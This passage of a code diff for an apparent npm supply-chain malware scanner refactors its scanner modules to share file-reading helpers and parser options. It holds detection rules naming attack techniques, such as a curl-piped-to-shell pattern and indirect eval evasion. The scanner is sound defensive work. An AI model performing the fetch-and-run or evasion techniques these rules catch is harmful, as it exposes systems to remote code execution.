message: 'Indirect eval via sequence expression ((0, eval)) — evasion technique.',
|
|
732
|
+
file: path.relative(basePath, filePath)
|
|
733
|
+
});
|
|
734
|
+
} else if (last.name === 'Function') {
|
|
735
|
+
threats.push({
|
|
736
|
+
type: 'dangerous_call_function',
|
|
737
|
+
severity: 'MEDIUM',
|
|
738
|
+
message: 'Indirect Function via sequence expression ((0, Function)) — evasion technique.',
|
|
739
|
+
file: path.relative(basePath, filePath)
|
|
740
|
+
});
|
|
741
|
+
}
|
|
742
|
+
}
|
|
743
|
+
}
|
|
744
|
+
|
|
723
745
|
// Detect crypto.createDecipher/createDecipheriv — encrypted payload pattern (flatmap-stream)
|
|
724
746
|
// Also detect module._compile — in-memory code execution
|
|
725
747
|
if (node.callee.type === 'MemberExpression') {
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -2,61 +2,14 @@ const fs = require('fs');
|
|
|
2
2
|
const path = require('path');
|
|
3
3
|
const acorn = require('acorn');
|
|
4
4
|
const walk = require('acorn-walk');
|
|
5
|
-
const {
|
|
6
|
-
|
|
7
|
-
const
|
|
5
|
+
const { getCallName } = require('../utils.js');
|
|
6
|
+
const { ACORN_OPTIONS } = require('../shared/constants.js');
|
|
7
|
+
const { analyzeWithDeobfuscation } = require('../shared/analyze-helper.js');
|
|
8
8
|
|
|
9
9
|
async function analyzeDataFlow(targetPath, options = {}) {
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
for (const file of files) {
|
|
14
|
-
const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
|
|
15
|
-
|
|
16
|
-
if (isDevFile(relativePath)) {
|
|
17
|
-
continue;
|
|
18
|
-
}
|
|
19
|
-
|
|
20
|
-
try {
|
|
21
|
-
const stat = fs.statSync(file);
|
|
22
|
-
if (stat.size > MAX_FILE_SIZE) continue;
|
|
23
|
-
} catch { continue; }
|
|
24
|
-
|
|
25
|
-
let content;
|
|
26
|
-
try {
|
|
27
|
-
content = fs.readFileSync(file, 'utf8');
|
|
28
|
-
} catch {
|
|
29
|
-
continue;
|
|
30
|
-
}
|
|
31
|
-
|
|
32
|
-
// Respect // muaddib-ignore directive in first 5 lines (like eslint-disable)
|
|
33
|
-
const headerLines = content.slice(0, 1024).split('\n').slice(0, 5);
|
|
34
|
-
if (headerLines.some(line => line.includes('muaddib-ignore'))) {
|
|
35
|
-
continue;
|
|
36
|
-
}
|
|
37
|
-
|
|
38
|
-
// Analyze original code first (preserves obfuscation-detection rules)
|
|
39
|
-
const fileThreats = analyzeFile(content, file, targetPath);
|
|
40
|
-
threats.push(...fileThreats);
|
|
41
|
-
|
|
42
|
-
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
43
|
-
if (typeof options.deobfuscate === 'function') {
|
|
44
|
-
try {
|
|
45
|
-
const result = options.deobfuscate(content);
|
|
46
|
-
if (result.transforms.length > 0) {
|
|
47
|
-
const deobThreats = analyzeFile(result.code, file, targetPath);
|
|
48
|
-
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
49
|
-
for (const dt of deobThreats) {
|
|
50
|
-
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
51
|
-
threats.push(dt);
|
|
52
|
-
}
|
|
53
|
-
}
|
|
54
|
-
}
|
|
55
|
-
} catch { /* deobfuscation failed — skip */ }
|
|
56
|
-
}
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
return threats;
|
|
10
|
+
return analyzeWithDeobfuscation(targetPath, analyzeFile, {
|
|
11
|
+
deobfuscate: options.deobfuscate
|
|
12
|
+
});
|
|
60
13
|
}
|
|
61
14
|
|
|
62
15
|
function analyzeFile(content, filePath, basePath) {
|
|
@@ -64,12 +17,7 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
64
17
|
let ast;
|
|
65
18
|
|
|
66
19
|
try {
|
|
67
|
-
ast = acorn.parse(content, {
|
|
68
|
-
ecmaVersion: 2024,
|
|
69
|
-
sourceType: 'module',
|
|
70
|
-
allowHashBang: true,
|
|
71
|
-
locations: true
|
|
72
|
-
});
|
|
20
|
+
ast = acorn.parse(content, { ...ACORN_OPTIONS, locations: true });
|
|
73
21
|
} catch {
|
|
74
22
|
return threats;
|
|
75
23
|
}
|
|
@@ -2,6 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
const acorn = require('acorn');
|
|
4
4
|
const walk = require('acorn-walk');
|
|
5
|
+
const { ACORN_OPTIONS } = require('../shared/constants.js');
|
|
5
6
|
|
|
6
7
|
/**
|
|
7
8
|
* Lightweight static deobfuscation pre-processor.
|
|
@@ -16,12 +17,7 @@ function deobfuscate(sourceCode) {
|
|
|
16
17
|
// Parse AST — if parsing fails, return source unchanged (fail-safe)
|
|
17
18
|
let ast;
|
|
18
19
|
try {
|
|
19
|
-
ast = acorn.parse(sourceCode, {
|
|
20
|
-
ecmaVersion: 2024,
|
|
21
|
-
sourceType: 'module',
|
|
22
|
-
allowHashBang: true,
|
|
23
|
-
ranges: true
|
|
24
|
-
});
|
|
20
|
+
ast = acorn.parse(sourceCode, { ...ACORN_OPTIONS, ranges: true });
|
|
25
21
|
} catch {
|
|
26
22
|
return { code: sourceCode, transforms };
|
|
27
23
|
}
|
|
@@ -197,12 +193,7 @@ function propagateConsts(sourceCode) {
|
|
|
197
193
|
const transforms = [];
|
|
198
194
|
let ast;
|
|
199
195
|
try {
|
|
200
|
-
ast = acorn.parse(sourceCode, {
|
|
201
|
-
ecmaVersion: 2024,
|
|
202
|
-
sourceType: 'module',
|
|
203
|
-
allowHashBang: true,
|
|
204
|
-
ranges: true
|
|
205
|
-
});
|
|
196
|
+
ast = acorn.parse(sourceCode, { ...ACORN_OPTIONS, ranges: true });
|
|
206
197
|
} catch {
|
|
207
198
|
return { code: sourceCode, transforms };
|
|
208
199
|
}
|
|
@@ -316,12 +307,7 @@ function foldConcatsOnly(sourceCode) {
|
|
|
316
307
|
const transforms = [];
|
|
317
308
|
let ast;
|
|
318
309
|
try {
|
|
319
|
-
ast = acorn.parse(sourceCode, {
|
|
320
|
-
ecmaVersion: 2024,
|
|
321
|
-
sourceType: 'module',
|
|
322
|
-
allowHashBang: true,
|
|
323
|
-
ranges: true
|
|
324
|
-
});
|
|
310
|
+
ast = acorn.parse(sourceCode, { ...ACORN_OPTIONS, ranges: true });
|
|
325
311
|
} catch {
|
|
326
312
|
return { code: sourceCode, transforms };
|
|
327
313
|
}
|
package/src/scanner/entropy.js
CHANGED
|
@@ -1,9 +1,8 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const path = require('path');
|
|
3
|
-
const { findFiles } = require('../utils.js');
|
|
3
|
+
const { findFiles, forEachSafeFile } = require('../utils.js');
|
|
4
4
|
|
|
5
5
|
const ENTROPY_EXCLUDED_DIRS = ['.git', '.muaddib-cache', '__compiled__', '__tests__', '__test__', 'dist', 'build'];
|
|
6
|
-
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
7
6
|
|
|
8
7
|
// File patterns to skip (compiled/minified/bundled)
|
|
9
8
|
const SKIP_FILE_PATTERNS = ['.min.js', '.bundle.js', '.prod.js'];
|
|
@@ -203,29 +202,12 @@ function detectObfuscationPatterns(content, relativePath) {
|
|
|
203
202
|
function scanEntropy(targetPath, options = {}) {
|
|
204
203
|
const threats = [];
|
|
205
204
|
const stringThreshold = options.entropyThreshold || STRING_ENTROPY_MEDIUM;
|
|
206
|
-
const files = findFiles(targetPath, { extensions: ['.js'], excludedDirs: ENTROPY_EXCLUDED_DIRS });
|
|
207
|
-
|
|
208
|
-
for (const file of files) {
|
|
209
|
-
// Skip files matching compiled/minified patterns
|
|
210
|
-
if (shouldSkipFile(file)) continue;
|
|
211
|
-
|
|
212
|
-
// Size guard
|
|
213
|
-
try {
|
|
214
|
-
const stat = fs.statSync(file);
|
|
215
|
-
if (stat.size > MAX_FILE_SIZE) continue;
|
|
216
|
-
} catch {
|
|
217
|
-
continue;
|
|
218
|
-
}
|
|
219
|
-
|
|
220
|
-
let content;
|
|
221
|
-
try {
|
|
222
|
-
content = fs.readFileSync(file, 'utf8');
|
|
223
|
-
} catch {
|
|
224
|
-
continue;
|
|
225
|
-
}
|
|
205
|
+
const files = findFiles(targetPath, { extensions: ['.js', '.mjs', '.cjs'], excludedDirs: ENTROPY_EXCLUDED_DIRS });
|
|
226
206
|
|
|
207
|
+
const safeFiles = files.filter(f => !shouldSkipFile(f));
|
|
208
|
+
forEachSafeFile(safeFiles, (file, content) => {
|
|
227
209
|
// Skip files containing source maps (legitimate compiled output)
|
|
228
|
-
if (hasSourceMap(content))
|
|
210
|
+
if (hasSourceMap(content)) return;
|
|
229
211
|
|
|
230
212
|
const relativePath = path.relative(targetPath, file);
|
|
231
213
|
|
|
@@ -252,7 +234,7 @@ function scanEntropy(targetPath, options = {}) {
|
|
|
252
234
|
});
|
|
253
235
|
}
|
|
254
236
|
}
|
|
255
|
-
}
|
|
237
|
+
});
|
|
256
238
|
|
|
257
239
|
return threats;
|
|
258
240
|
}
|
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const path = require('path');
|
|
3
3
|
|
|
4
|
+
const { MAX_FILE_SIZE } = require('../shared/constants.js');
|
|
5
|
+
|
|
4
6
|
const YAML_EXTENSIONS = ['.yml', '.yaml'];
|
|
5
|
-
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
6
7
|
const MAX_DEPTH = 10;
|
|
7
8
|
|
|
8
9
|
function scanGitHubActions(targetPath) {
|
package/src/scanner/hash.js
CHANGED
|
@@ -3,11 +3,11 @@ const path = require('path');
|
|
|
3
3
|
const nodeCrypto = require('crypto');
|
|
4
4
|
const { loadCachedIOCs } = require('../ioc/updater.js');
|
|
5
5
|
const { findFiles } = require('../utils.js');
|
|
6
|
+
const { MAX_FILE_SIZE } = require('../shared/constants.js');
|
|
6
7
|
|
|
7
8
|
// Hash cache: filePath -> { hash, mtime }
|
|
8
9
|
const hashCache = new Map();
|
|
9
10
|
const MAX_CACHE_SIZE = 10000;
|
|
10
|
-
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
11
11
|
|
|
12
12
|
async function scanHashes(targetPath) {
|
|
13
13
|
const threats = [];
|
|
@@ -2,13 +2,13 @@ const fs = require('fs');
|
|
|
2
2
|
const path = require('path');
|
|
3
3
|
const acorn = require('acorn');
|
|
4
4
|
const { findFiles } = require('../utils');
|
|
5
|
+
const { ACORN_OPTIONS: BASE_ACORN_OPTIONS } = require('../shared/constants.js');
|
|
5
6
|
|
|
6
7
|
// --- Sensitive source patterns ---
|
|
7
8
|
const SENSITIVE_MODULES = new Set(['fs', 'child_process', 'dns', 'os']);
|
|
8
9
|
|
|
9
10
|
const ACORN_OPTIONS = {
|
|
10
|
-
|
|
11
|
-
sourceType: 'module',
|
|
11
|
+
...BASE_ACORN_OPTIONS,
|
|
12
12
|
allowReturnOutsideFunction: true,
|
|
13
13
|
allowImportExportEverywhere: true,
|
|
14
14
|
};
|
|
@@ -32,7 +32,7 @@ const SINK_INSTANCE_METHODS = new Set(['connect', 'write', 'send']);
|
|
|
32
32
|
function buildModuleGraph(packagePath) {
|
|
33
33
|
const graph = {};
|
|
34
34
|
const files = findFiles(packagePath, {
|
|
35
|
-
extensions: ['.js'],
|
|
35
|
+
extensions: ['.js', '.mjs', '.cjs'],
|
|
36
36
|
excludedDirs: ['node_modules', '.git'],
|
|
37
37
|
});
|
|
38
38
|
for (const absFile of files) {
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
const { NPM_PACKAGE_REGEX } = require('../shared/constants.js');
|
|
2
|
+
const { debugLog } = require('../utils.js');
|
|
2
3
|
|
|
3
4
|
const REGISTRY_URL = 'https://registry.npmjs.org';
|
|
4
5
|
const DOWNLOADS_URL = 'https://api.npmjs.org/downloads/point/last-week';
|
|
@@ -44,13 +45,13 @@ async function fetchWithRetry(url) {
|
|
|
44
45
|
// 404 = package doesn't exist
|
|
45
46
|
if (response.status === 404) {
|
|
46
47
|
// Drain response body to free resources
|
|
47
|
-
try { await response.text(); } catch {}
|
|
48
|
+
try { await response.text(); } catch (e) { debugLog('response drain failed:', e.message); }
|
|
48
49
|
return null;
|
|
49
50
|
}
|
|
50
51
|
|
|
51
52
|
// 429 = rate limit, respect Retry-After header (capped at 30s)
|
|
52
53
|
if (response.status === 429) {
|
|
53
|
-
try { await response.text(); } catch {}
|
|
54
|
+
try { await response.text(); } catch (e) { debugLog('response drain failed:', e.message); }
|
|
54
55
|
const retryAfter = parseInt(response.headers.get('retry-after'), 10);
|
|
55
56
|
const delay = Math.min(retryAfter && retryAfter > 0 ? retryAfter * 1000 : 2000, 30000);
|
|
56
57
|
await new Promise(r => setTimeout(r, delay));
|
|
@@ -59,7 +60,7 @@ async function fetchWithRetry(url) {
|
|
|
59
60
|
|
|
60
61
|
if (!response.ok) {
|
|
61
62
|
// Drain response body on errors
|
|
62
|
-
try { await response.text(); } catch {}
|
|
63
|
+
try { await response.text(); } catch (e) { debugLog('response drain failed:', e.message); }
|
|
63
64
|
return null;
|
|
64
65
|
}
|
|
65
66
|
|
|
@@ -1,30 +1,15 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const path = require('path');
|
|
3
|
-
const { findFiles } = require('../utils.js');
|
|
3
|
+
const { findFiles, forEachSafeFile } = require('../utils.js');
|
|
4
4
|
|
|
5
5
|
// node_modules NOT excluded: detect obfuscated code in dependencies
|
|
6
6
|
const OBF_EXCLUDED_DIRS = ['.git', '.muaddib-cache'];
|
|
7
|
-
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
8
7
|
|
|
9
8
|
function detectObfuscation(targetPath) {
|
|
10
9
|
const threats = [];
|
|
11
|
-
const files = findFiles(targetPath, { extensions: ['.js'], excludedDirs: OBF_EXCLUDED_DIRS });
|
|
12
|
-
|
|
13
|
-
for (const file of files) {
|
|
14
|
-
// Skip files exceeding MAX_FILE_SIZE to avoid memory issues
|
|
15
|
-
try {
|
|
16
|
-
const stat = fs.statSync(file);
|
|
17
|
-
if (stat.size > MAX_FILE_SIZE) continue;
|
|
18
|
-
} catch {
|
|
19
|
-
continue;
|
|
20
|
-
}
|
|
10
|
+
const files = findFiles(targetPath, { extensions: ['.js', '.mjs', '.cjs'], excludedDirs: OBF_EXCLUDED_DIRS });
|
|
21
11
|
|
|
22
|
-
|
|
23
|
-
try {
|
|
24
|
-
content = fs.readFileSync(file, 'utf8');
|
|
25
|
-
} catch {
|
|
26
|
-
continue; // Skip unreadable files
|
|
27
|
-
}
|
|
12
|
+
forEachSafeFile(files, (file, content) => {
|
|
28
13
|
const relativePath = path.relative(targetPath, file);
|
|
29
14
|
|
|
30
15
|
const signals = [];
|
|
@@ -96,7 +81,7 @@ function detectObfuscation(targetPath) {
|
|
|
96
81
|
file: relativePath
|
|
97
82
|
});
|
|
98
83
|
}
|
|
99
|
-
}
|
|
84
|
+
});
|
|
100
85
|
|
|
101
86
|
return threats;
|
|
102
87
|
}
|
package/src/scanner/shell.js
CHANGED
|
@@ -1,9 +1,8 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const path = require('path');
|
|
3
|
-
const { findFiles } = require('../utils.js');
|
|
3
|
+
const { findFiles, forEachSafeFile } = require('../utils.js');
|
|
4
4
|
|
|
5
5
|
const SHELL_EXCLUDED_DIRS = ['node_modules', '.git', '.muaddib-cache'];
|
|
6
|
-
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
7
6
|
|
|
8
7
|
const MALICIOUS_PATTERNS = [
|
|
9
8
|
{ pattern: /curl.*\|.*sh/m, name: 'curl_pipe_shell', severity: 'HIGH' },
|
|
@@ -26,16 +25,7 @@ async function scanShellScripts(targetPath) {
|
|
|
26
25
|
// Cherche les fichiers shell
|
|
27
26
|
const files = findFiles(targetPath, { extensions: ['.sh', '.bash', '.zsh', '.command'], excludedDirs: SHELL_EXCLUDED_DIRS });
|
|
28
27
|
|
|
29
|
-
|
|
30
|
-
let content;
|
|
31
|
-
try {
|
|
32
|
-
const stat = fs.statSync(file);
|
|
33
|
-
if (stat.size > MAX_FILE_SIZE) continue;
|
|
34
|
-
content = fs.readFileSync(file, 'utf8');
|
|
35
|
-
} catch {
|
|
36
|
-
continue; // Skip unreadable files
|
|
37
|
-
}
|
|
38
|
-
|
|
28
|
+
forEachSafeFile(files, (file, content) => {
|
|
39
29
|
// Strip comment lines to avoid false positives on documentation
|
|
40
30
|
const activeContent = content.split('\n')
|
|
41
31
|
.filter(line => !line.trimStart().startsWith('#'))
|
|
@@ -51,7 +41,7 @@ async function scanShellScripts(targetPath) {
|
|
|
51
41
|
});
|
|
52
42
|
}
|
|
53
43
|
}
|
|
54
|
-
}
|
|
44
|
+
});
|
|
55
45
|
|
|
56
46
|
return threats;
|
|
57
47
|
}
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
const path = require('path');
|
|
2
|
+
const { isDevFile, findJsFiles, forEachSafeFile } = require('../utils.js');
|
|
3
|
+
|
|
4
|
+
/**
|
|
5
|
+
* Shared scanner wrapper: iterates JS files, runs analyzeFileFn on original + deobfuscated code,
|
|
6
|
+
* deduplicates findings by type::message key.
|
|
7
|
+
* @param {string} targetPath - Root directory to scan
|
|
8
|
+
* @param {Function} analyzeFileFn - (content, filePath, basePath) => threats[]
|
|
9
|
+
* @param {object} [options]
|
|
10
|
+
* @param {Function} [options.deobfuscate] - Deobfuscation function
|
|
11
|
+
* @param {string[]} [options.excludedFiles] - Relative paths to skip
|
|
12
|
+
* @param {boolean} [options.skipDevFiles=true] - Whether to skip dev/test files
|
|
13
|
+
* @returns {Array} Combined threats
|
|
14
|
+
*/
|
|
15
|
+
function analyzeWithDeobfuscation(targetPath, analyzeFileFn, options = {}) {
|
|
16
|
+
const threats = [];
|
|
17
|
+
const files = findJsFiles(targetPath);
|
|
18
|
+
|
|
19
|
+
forEachSafeFile(files, (file, content) => {
|
|
20
|
+
const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
|
|
21
|
+
|
|
22
|
+
if (options.excludedFiles && options.excludedFiles.includes(relativePath)) return;
|
|
23
|
+
if (options.skipDevFiles !== false && isDevFile(relativePath)) return;
|
|
24
|
+
|
|
25
|
+
// Analyze original code first (preserves obfuscation-detection rules)
|
|
26
|
+
const fileThreats = analyzeFileFn(content, file, targetPath);
|
|
27
|
+
threats.push(...fileThreats);
|
|
28
|
+
|
|
29
|
+
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
30
|
+
if (typeof options.deobfuscate === 'function') {
|
|
31
|
+
try {
|
|
32
|
+
const result = options.deobfuscate(content);
|
|
33
|
+
if (result.transforms.length > 0) {
|
|
34
|
+
const deobThreats = analyzeFileFn(result.code, file, targetPath);
|
|
35
|
+
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
36
|
+
for (const dt of deobThreats) {
|
|
37
|
+
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
38
|
+
threats.push(dt);
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
} catch { /* deobfuscation failed — skip */ }
|
|
43
|
+
}
|
|
44
|
+
});
|
|
45
|
+
|
|
46
|
+
return threats;
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
module.exports = { analyzeWithDeobfuscation };
|
package/src/shared/constants.js
CHANGED
|
@@ -86,4 +86,8 @@ const NPM_PACKAGE_REGEX = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*
|
|
|
86
86
|
const MAX_TARBALL_SIZE = 50 * 1024 * 1024; // 50MB
|
|
87
87
|
const DOWNLOAD_TIMEOUT = 30_000; // 30 seconds
|
|
88
88
|
|
|
89
|
-
|
|
89
|
+
// Shared scanner constants
|
|
90
|
+
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB — skip files larger than this to avoid memory issues
|
|
91
|
+
const ACORN_OPTIONS = { ecmaVersion: 2024, sourceType: 'module', allowHashBang: true };
|
|
92
|
+
|
|
93
|
+
module.exports = { REHABILITATED_PACKAGES, NPM_PACKAGE_REGEX, MAX_TARBALL_SIZE, DOWNLOAD_TIMEOUT, MAX_FILE_SIZE, ACORN_OPTIONS };
|
package/src/temporal-ast-diff.js
CHANGED
|
@@ -4,12 +4,13 @@ const path = require('path');
|
|
|
4
4
|
const os = require('os');
|
|
5
5
|
const acorn = require('acorn');
|
|
6
6
|
const walk = require('acorn-walk');
|
|
7
|
-
const { findJsFiles } = require('./utils.js');
|
|
7
|
+
const { findJsFiles, forEachSafeFile, debugLog } = require('./utils.js');
|
|
8
8
|
const { fetchPackageMetadata, getLatestVersions } = require('./temporal-analysis.js');
|
|
9
9
|
const { downloadToFile, extractTarGz, sanitizePackageName } = require('./shared/download.js');
|
|
10
10
|
|
|
11
|
+
const { MAX_FILE_SIZE, ACORN_OPTIONS } = require('./shared/constants.js');
|
|
12
|
+
|
|
11
13
|
const REGISTRY_URL = 'https://registry.npmjs.org';
|
|
12
|
-
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
|
|
13
14
|
const METADATA_TIMEOUT = 10_000;
|
|
14
15
|
|
|
15
16
|
const SENSITIVE_PATHS = [
|
|
@@ -101,12 +102,12 @@ async function fetchPackageTarball(packageName, version) {
|
|
|
101
102
|
await downloadToFile(tarballUrl, tgzPath);
|
|
102
103
|
extractedDir = extractTarGz(tgzPath, tmpDir);
|
|
103
104
|
} catch (err) {
|
|
104
|
-
try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch {}
|
|
105
|
+
try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch (e) { debugLog('tmpDir cleanup failed:', e.message); }
|
|
105
106
|
throw err;
|
|
106
107
|
}
|
|
107
108
|
|
|
108
109
|
const cleanup = () => {
|
|
109
|
-
try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch {}
|
|
110
|
+
try { fs.rmSync(tmpDir, { recursive: true, force: true }); } catch (e) { debugLog('tmpDir cleanup failed:', e.message); }
|
|
110
111
|
};
|
|
111
112
|
|
|
112
113
|
return { dir: extractedDir, cleanup };
|
|
@@ -120,20 +121,9 @@ async function fetchPackageTarball(packageName, version) {
|
|
|
120
121
|
function extractDangerousPatterns(directory) {
|
|
121
122
|
const patterns = new Set();
|
|
122
123
|
const files = findJsFiles(directory);
|
|
123
|
-
|
|
124
|
-
for (const file of files) {
|
|
125
|
-
try {
|
|
126
|
-
const stat = fs.statSync(file);
|
|
127
|
-
if (stat.size > MAX_FILE_SIZE) continue;
|
|
128
|
-
} catch { continue; }
|
|
129
|
-
|
|
130
|
-
let content;
|
|
131
|
-
try { content = fs.readFileSync(file, 'utf8'); }
|
|
132
|
-
catch { continue; }
|
|
133
|
-
|
|
124
|
+
forEachSafeFile(files, (file, content) => {
|
|
134
125
|
extractPatternsFromSource(content, patterns);
|
|
135
|
-
}
|
|
136
|
-
|
|
126
|
+
});
|
|
137
127
|
return patterns;
|
|
138
128
|
}
|
|
139
129
|
|
|
@@ -145,7 +135,7 @@ function extractDangerousPatterns(directory) {
|
|
|
145
135
|
function extractPatternsFromSource(source, patterns) {
|
|
146
136
|
let ast;
|
|
147
137
|
try {
|
|
148
|
-
ast = acorn.parse(source,
|
|
138
|
+
ast = acorn.parse(source, ACORN_OPTIONS);
|
|
149
139
|
} catch { return; }
|
|
150
140
|
|
|
151
141
|
walk.simple(ast, {
|
package/src/utils.js
CHANGED
|
@@ -1,5 +1,6 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const path = require('path');
|
|
3
|
+
const { MAX_FILE_SIZE } = require('./shared/constants.js');
|
|
3
4
|
|
|
4
5
|
/**
|
|
5
6
|
* Directories excluded from scanning.
|
|
@@ -145,7 +146,7 @@ function findFiles(dir, options = {}) {
|
|
|
145
146
|
* @returns {string[]} List of .js file paths
|
|
146
147
|
*/
|
|
147
148
|
function findJsFiles(dir, results = []) {
|
|
148
|
-
return findFiles(dir, { extensions: ['.js'], results });
|
|
149
|
+
return findFiles(dir, { extensions: ['.js', '.mjs', '.cjs'], results });
|
|
149
150
|
}
|
|
150
151
|
|
|
151
152
|
/**
|
|
@@ -228,6 +229,61 @@ class Spinner {
|
|
|
228
229
|
}
|
|
229
230
|
}
|
|
230
231
|
|
|
232
|
+
/**
|
|
233
|
+
* Iterates files with size guard and error handling.
|
|
234
|
+
* Calls callback(file, content) for each readable file under MAX_FILE_SIZE.
|
|
235
|
+
*/
|
|
236
|
+
function forEachSafeFile(files, callback) {
|
|
237
|
+
for (const file of files) {
|
|
238
|
+
try {
|
|
239
|
+
const stat = fs.statSync(file);
|
|
240
|
+
if (stat.size > MAX_FILE_SIZE) continue;
|
|
241
|
+
} catch { continue; }
|
|
242
|
+
let content;
|
|
243
|
+
try {
|
|
244
|
+
content = fs.readFileSync(file, 'utf8');
|
|
245
|
+
} catch { continue; }
|
|
246
|
+
callback(file, content);
|
|
247
|
+
}
|
|
248
|
+
}
|
|
249
|
+
|
|
250
|
+
/**
|
|
251
|
+
* Lists installed packages in node_modules (handles scoped packages).
|
|
252
|
+
* @param {string} targetPath - Root of the project
|
|
253
|
+
* @returns {string[]} Package names (e.g. ['express', '@babel/core'])
|
|
254
|
+
*/
|
|
255
|
+
function listInstalledPackages(targetPath) {
|
|
256
|
+
const nm = path.join(targetPath, 'node_modules');
|
|
257
|
+
if (!fs.existsSync(nm)) return [];
|
|
258
|
+
const names = [];
|
|
259
|
+
try {
|
|
260
|
+
for (const item of fs.readdirSync(nm)) {
|
|
261
|
+
if (item.startsWith('.')) continue;
|
|
262
|
+
const itemPath = path.join(nm, item);
|
|
263
|
+
try {
|
|
264
|
+
const stat = fs.lstatSync(itemPath);
|
|
265
|
+
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
266
|
+
if (item.startsWith('@')) {
|
|
267
|
+
for (const si of fs.readdirSync(itemPath)) {
|
|
268
|
+
const ss = fs.lstatSync(path.join(itemPath, si));
|
|
269
|
+
if (!ss.isSymbolicLink() && ss.isDirectory()) names.push(`${item}/${si}`);
|
|
270
|
+
}
|
|
271
|
+
} else {
|
|
272
|
+
names.push(item);
|
|
273
|
+
}
|
|
274
|
+
} catch { /* skip unreadable */ }
|
|
275
|
+
}
|
|
276
|
+
} catch { /* no node_modules readable */ }
|
|
277
|
+
return names;
|
|
278
|
+
}
|
|
279
|
+
|
|
280
|
+
/**
|
|
281
|
+
* Logs to stderr when MUADDIB_DEBUG is set. No-op otherwise.
|
|
282
|
+
*/
|
|
283
|
+
function debugLog(...args) {
|
|
284
|
+
if (process.env.MUADDIB_DEBUG) console.error('[DEBUG]', ...args);
|
|
285
|
+
}
|
|
286
|
+
|
|
231
287
|
module.exports = {
|
|
232
288
|
EXCLUDED_DIRS,
|
|
233
289
|
DEV_PATTERNS,
|
|
@@ -238,5 +294,8 @@ module.exports = {
|
|
|
238
294
|
getCallName,
|
|
239
295
|
Spinner,
|
|
240
296
|
setExtraExcludes,
|
|
241
|
-
getExtraExcludes
|
|
297
|
+
getExtraExcludes,
|
|
298
|
+
forEachSafeFile,
|
|
299
|
+
listInstalledPackages,
|
|
300
|
+
debugLog
|
|
242
301
|
};
|